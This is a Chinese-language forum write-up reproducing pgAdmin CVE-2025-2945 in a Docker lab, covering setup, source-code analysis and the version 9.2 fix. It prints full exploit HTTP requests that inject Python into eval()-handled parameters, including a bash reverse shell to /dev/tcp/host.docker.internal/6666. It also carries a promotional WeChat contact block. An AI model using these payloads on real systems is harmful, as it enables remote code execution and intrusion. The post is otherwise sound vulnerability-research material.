找回密码
 立即注册
首页 业界区 安全 pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945) ...

pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945)

赘暨逢 昨天 14:15
[img=720,228.85714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/434d638f-a578-43a0-8e7a-5f7a1f0cc305.png[/img]

环境搭建

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin4
  1. docker network create pg-network # 创建容器网络
  2. docker run -d --name postgres --network pg-network -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres123 -e POSTGRES_DB=testdb -p 5432:5432 postgres:15
  3. docker run -d --name pgadmin --network pg-network  -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80   docker.io/dpage/pgadmin4:9.1.0
  4. docker network inspect pg-network  # 查看哪些容器在使用这个网络
  5. docker network rm pg-network       # 删除指定网络
复制代码
[img=720,370.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5225e8d3-9f93-4e95-ae1d-dc57804e644f.png[/img]

[img=720,327.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c10e1945-0d86-43e7-928b-90f78bf3a77e.png[/img]

漏洞复现

/sqleditor/query_tool/download/

前提:登录 pgAdmin 获取有效 session 和 CSRF Token

  • 调用接口 /misc/workspace/adhoc_connect_server
    功能:临时连接到 PostgreSQL 数据库服务器
    返回:sid(服务器 ID)和 did(数据库 ID)
  • 调用接口 /misc/workspace/adhoc_connect_server
    功能:初始化一个 SQL 编辑器会话,创建事务
    参数:

    • trans_id:事务 ID,随机数(后续请求需使用同一个值)
    • sgid:服务器组 ID,通常是 1
    • sid:服务器 ID(步骤 1 获取)
    • did:数据库 ID(步骤 1 获取)

  • 调用接口 /sqleditor/query_tool/download/{trans_id}
    功能:导出 SQL 查询结果为 CSV 文件下载
    漏洞:query_commited 参数被 eval() 执行,导致 RCE
步骤 1:连接数据库服务器

[img=720,356.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f08bc07d-648f-4b01-a720-5077dd8ecf09.png[/img]
  1. POST /misc/workspace/adhoc_connect_server HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. Content-Length: 348
  4. X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
  5. Accept: application/json, text/plain, */*
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  7. Content-Type: application/json
  8. Origin: http://127.0.0.1:5050
  9. Sec-Fetch-Site: same-origin
  10. Sec-Fetch-Mode: cors
  11. Sec-Fetch-Dest: empty
  12. Referer: http://127.0.0.1:5050/browser/
  13. Accept-Encoding: gzip, deflate
  14. Accept-Language: zh-CN,zh;q=0.9
  15. Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
  16. Connection: close
  17. {"sid":null,"did":"testdb","user":"postgres","server_name":"postgres","host":"postgres","port":"5432","username":"test","role":null,"password":"postgres123","connection_params":[{"name":"sslmode","value":"prefer","keyword":"sslmode","cid":"c19"},{"name":"connect_timeout","value":10,"keyword":"connect_timeout","cid":"c20"}],"connection_refresh":0}
复制代码
[img=720,318.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/43876614-6a58-43a5-a5ad-084798f79de7.png[/img]

返回: sid​(服务器 ID)和 did​(数据库 ID)
步骤 2:初始化 SQL 编辑器
  1. POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  6. Origin: http://127.0.0.1:5050
  7. Sec-Fetch-Site: same-origin
  8. Sec-Fetch-Mode: cors
  9. Sec-Fetch-Dest: empty
  10. Referer: http://127.0.0.1:5050/browser/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
  14. Connection: close
  15. Content-Type: application/json
  16. Content-Length: 102
  17. {
  18.    "user": "postgres",
  19.    "password": "postgres123",
  20.    "role": "",
  21.    "dbname": "testdb"
  22. }
复制代码
[img=720,322.7142857142857]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c64e2566-5c7f-47f3-ab36-f0c363dd3497.png[/img]

步骤 3:触发漏洞
  1. POST /sqleditor/query_tool/download/1234567 HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  6. Origin: http://127.0.0.1:5050
  7. Sec-Fetch-Site: same-origin
  8. Sec-Fetch-Mode: cors
  9. Sec-Fetch-Dest: empty
  10. Referer: http://127.0.0.1:5050/browser/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
  14. Connection: close
  15. Content-Type: application/json
  16. Content-Length: 67
  17. {"query":"SELECT 1;","query_commited":"open('/tmp/20251208', 'w')"}
复制代码
[img=720,320.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/faff38c5-d938-4b78-b5a3-0ee2731e4628.png[/img]

[img=720,77.78571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/aefa9f62-a892-4819-8d53-a2bd44e2a719.png[/img]

实现 反弹 shell
  1. POST /sqleditor/query_tool/download/1234567 HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  6. Origin: http://127.0.0.1:5050
  7. Sec-Fetch-Site: same-origin
  8. Sec-Fetch-Mode: cors
  9. Sec-Fetch-Dest: empty
  10. Referer: http://127.0.0.1:5050/browser/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
  14. Connection: close
  15. Content-Type: application/json
  16. Content-Length: 130
  17. {"query":"SELECT 1;","query_commited":"__import__('os').system('bash -c "bash -i >& /dev/tcp/host.docker.internal/6666 0>&1"')"}
复制代码
[img=720,390.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/600bb799-eee3-4257-88ed-d14d47ffb57f.png[/img]

/cloud/deploy

这个接口需要用到 pgAdmin 已配置 Google Cloud 认证 为了方便进行验证,我们可以注释掉相关代码然后进行复现,首先是概念性验证,直接通过命令行方式进行验证
  1. docker exec -it -u root pgadmin "/bin/bash"
  2. # 通过 root 权限进入容器内部,因为需要对文件进行注释操作
  3. FILE="/pgadmin4/pgacloud/providers/google.py"
  4. sed -i 's/credentials = self._get_credentials/#&/' $FILE
  5. sed -i 's/service = discovery.build/#&/' $FILE
  6. sed -i 's/credentials=credentials)/#&/' /pgadmin4/pgacloud/providers/google.py
  7. # 注释掉获取凭证和建立连接的操作
  8. sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py
  9. /venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \
  10.  --project test \
  11.  --name test \
  12.  --instance-type db-f1-micro \
  13.  --storage-size 10 \
  14.  --high-availability "__import__('os').system('id > /tmp/google_pwned.txt')"
复制代码
[img=720,91.28571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f3a6ba52-10b3-48fc-a978-bd7d786d9413.png[/img]

可以看到成功执行命令
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
希望从 web 层面更清晰的看到命令执行的效果,还需要对两行代码进行注释,注释后再重启 docker 容器
  1. FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
  2. sed -i 's/google_obj = pickle.loads/#&/' $FILE
  3. sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE
  4. docker restart pgadmin
复制代码
这里先简单解释一下为什么要注释这一部分: Web 接口需要 session 中有 Google 认证信息,必须先在 pgAdmin 界面完成 Google OAuth 登录
1.png

[img=720,320.7857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/39ccead8-5e70-40c7-a159-eb8a2034df72.png[/img]
  1. POST /cloud/deploy HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. X-pgA-CSRFToken: IjJmMDYxMDJkZDVhNmQyMzRjNzhhNzYxOWJjMzU5NmJmYzIxZWQ0ZjQi.aTegGw.d2HRuq3wKWyIInqs4P9WiDo32go
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  6. Origin: http://127.0.0.1:5050
  7. Sec-Fetch-Site: same-origin
  8. Sec-Fetch-Mode: cors
  9. Sec-Fetch-Dest: empty
  10. Referer: http://127.0.0.1:5050/browser/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
  14. Connection: close
  15. Content-Type: application/json
  16. Content-Length: 648
  17. {
  18.  "cloud": "google",
  19.  "secret": {
  20.    "gid": "1",
  21.    "oid": null,
  22.    "client_secret_file": "/tmp/test.json"
  23.  },
  24.  "instance_details": {
  25.    "name": "test-instance",
  26.    "project": "test-project",
  27.    "region": "us-central1",
  28.    "db_version": "POSTGRES_14",
  29.    "instance_type": "db-f1-micro",
  30.    "storage_type": "PD_SSD",
  31.    "storage_size": 10,
  32.    "public_ips": "0.0.0.0/0",
  33.    "availability_zone": "us-central1-a",
  34.    "secondary_availability_zone": "us-central1-b",
  35.    "high_availability": "__import__('os').system('id > /tmp/pwned.txt')"
  36.  },
  37.  "db_details": {
  38.    "gid": 1,
  39.    "db_password": "test123"
  40.  }
  41. }
复制代码
[img=720,67.30434782608695]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/3ede5b30-e82c-4881-89c4-12d490a14155.png[/img]

漏洞分析

我们可以从 https://pgadmin-archive.postgresql.org/pgadmin4/v9.1/source/index.html 下载源代码进行审计分析
/sqleditor/query_tool/download/

web/pgadmin/misc/workspaces__init__.py#adhoc_connect_server
[img=720,361.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f6acd547-27e4-40b5-8f58-df71d8663944.png[/img]


  • 验证连接参数
  • 查找或创建服务器记录
  • 建立到 PostgreSQL 的实际连接
  • 返回 sid(服务器ID)和 did(数据库ID)
web/pgadmin/tools/sqleditor__init__.py
[img=720,577.9285714285714]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6305885b-f01a-46b8-bdb9-863d81590f9b.png[/img]

[img=720,376.07142857142856]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/23746a32-5692-4a3c-a01b-acefe68573fe.png[/img]


  • 创建 QueryToolCommand 对象
  • 建立数据库连接
  • 将命令对象序列化后存入 session'gridData'
    ★★★ 关键:将命令对象存入 session ★★★
    步骤3的 check_transaction_status() 函数会检查 session['gridData'] 中是否存在对应的 trans_id 如果不存在,会返回 ERROR_MSG_TRANS_ID_NOT_FOUND 错误,无法继续执行
  • 返回连接 ID 和服务器版本
web/pgadmin/tools/sqleditor__init__.py#start_query_download_tool
[img=720,410.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/60b4d0e8-3a2b-491d-8060-1289489bca94.png[/img]

/cloud/deploy

web/pgadmin/misc/cloud__init__.py#deploy_on_cloud
[img=720,466.7142857142857]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/de61de94-cba9-42e3-a811-c8b37a63bdc1.png[/img]

/misc/cloud/__init__.py → 路由入口 /cloud/deploy 接收用户的云部署请求,根据 cloud 字段分发到对应的部署函数。
web/pgadmin/misc/cloud/google__init__.py#deploy_on_google
[img=720,445.5]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/149d6b0e-0431-4577-ba38-0a01c20d9e90.png[/img]

/misc/cloud/google.py → deploy_on_google() 函数

  • 构建命令行参数(用户输入的 high_availability 被直接放入参数)
  • 创建 BatchProcess 后台进程
  • 启动子进程执行 pgacloud.py
web/pgacloud/pgacloud.py
[img=720,255.85714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/a9425ab6-d9de-484a-9f95-f7826dad8a07.png[/img]

[img=720,219.85]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7b637027-479e-47e7-919b-8c72dff3c325.png[/img]

pgacloud.py 会动态加载 providers/ 目录下的所有 provider 模块,然后解析命令行参数,最后根据 provider 和 command 调用对应的函数
命令 pgacloud.py google create-instance --high-availability "恶意代码"

  • load_providers()​ → 加载 providers/google.py​,调用 load()​ 返回 GoogleProvider​ 实例
  • get_args()​ → 解析参数,args.provider='google'​, args.command='create-instance'​, args.high_availability='恶意代码'​
  • execute_command()​ → 调用 GoogleProvider.commands()['create_instance'](args)​
    [img=720,192.21428571428572]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c4afd1e7-45ca-498c-96d9-a13ca5c3e017.png[/img]

web/pgacloud/providers/google.py
[img=720,181.28571428571428]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6d26a251-ba9e-4569-9cfe-5355767829d0.png[/img]

[img=720,397.2857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2288f5cc-7b8c-48d7-a887-ec7e55de3896.png[/img]

cmd_create_instance() 内部调用 _create_google_postgresql_instance() 最后触发了漏洞
[img=720,334.2857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c68b511c-4997-49c1-84fe-ffff8e9601f5.png[/img]

漏洞修复

接口 /sqleditor/query_tool/download/ 修复方案
9.1 版本代码中使用eval()​函数来处理用户输入的query_commited​参数,eval()​会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()​函数,改用安全的字符串比较方式来判断参数值。首先检测参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true'​或'1'​。如果参数是布尔型则直接使用该值。
[img=720,406.2857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/15a61495-caed-49ff-bbea-15ffd69a996b.png[/img]

接口 /cloud/deploy 修复方案
9.1 版本代码中使用eval()​函数来处理用户输入的high_availability​参数,eval()​会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()​函数,改用安全的字符串比较方式来判断参数值。首先检查参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true'​或'1'​。如果参数是布尔型则直接使用该值。
2.png

更多网安技能的在线实操练习,请点击这里>>
  ​

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册